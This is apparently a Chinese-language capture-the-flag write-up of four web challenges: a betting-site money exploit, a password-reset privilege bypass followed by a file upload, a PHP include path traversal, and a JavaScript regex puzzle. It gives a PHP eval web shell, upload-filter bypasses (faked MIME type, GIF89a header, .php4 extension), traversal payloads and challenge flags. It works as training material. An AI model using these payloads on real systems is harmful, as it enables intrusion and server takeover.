lottery
这是一个菠菜网站的源码
先正常注册一个账户 之后会送你20美元用于菠菜
之后要通过赢的美元去购买相应的flag
接下来对网站进行扫描
接下来可以通过gitHack工具下载相应的网站源码
分析后找到了漏洞的位置 接下来我们需要对抓包得到的数据包进行修改
之后放行 钱就增加了很多了。之后可以通过重放模块去刷钱 刷够了买payload即可
bug
进入以后先正常注册用户
之后登录
通过抓包分析以后 发现登陆以后没有越权漏洞可以利用
那我们可以抓包分析找回密码的功能
我们可以放包继续下一步
此时发现越权成功 我们直接登录admin账户
之后登录以后点击管理模块发现ip地址有限制
之后我们抓包修改ip源
进行如下猜测(文件管理 要么file 要么upload 要么file_upload之类的)
http://111.200.241.244:54799/index.php?module=filemanage&do=upload
看似只能上传图片 我们把一句话木马上传
但是文件内容中的<?php代码也会被拦截掉 所以php代码不能出现特征标签
绕过方式:
MIME:image/jpeg
GIF89a
可以考虑使用js的代码
<script language="php">eval($_POST['cmd'])</script>
而且对后缀也有过滤 这里可以通过的后缀是php4
cyberpeace{9993cb0261d633a0577b81340bd7b09b}
warmup
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//白名单 只允许source.php或者hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//在不在白名单中
if (in_array($page, $whitelist)) {
return true;
}
//取问号前面的东西
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这题已经做过很多次了 这里不多赘述
包含hint.php得到提示
flag在
ffffllllaaaagggg
/source.php?file=hint.php%25%33%66/../../../../../../../../../../ffffllllaaaagggg
file=hint.php?/../../../../ffffllllaaaagggg
file=hint.php%3f/../../../../ffffllllaaaagggg
file=hint.php%25%33%66/../../../../../../../../../../ffffllllaaaagggg
flag{25e7bce6005c4e0c983fb97297ac6e5a}
小知识:在linux系统的 include后面第一次发现"/" 那么前面的内容自动失效 从这个之后开始包含(../不算 这个不行)
12
js可以使用eval把字符串当作js执行,也可以alert弹窗
be0f233ac7be98aa
function $(){var e=document.getElementById("c").value;if(e.length==16)if(e.match(/^be0f23/)!=null)if(e.match(/233ac/)!=null)if(e.match(/e98aa$/)!=null)if(e.match(/c7be9/)!=null){var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}}}document.write('<input id="c"><button οnclick=$()>Ok</button>');delete _
在代码格式化的框中
function $() {
var e = document.getElementById("c").value;
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
正则表达式表示 以be0f23打头,233ac作为中间内容,e98aa作为结尾,
c7be9作为中间内容,所以可以进行组合
be0f23
233ac c7be9 e98aa
be0f233ac7be98aa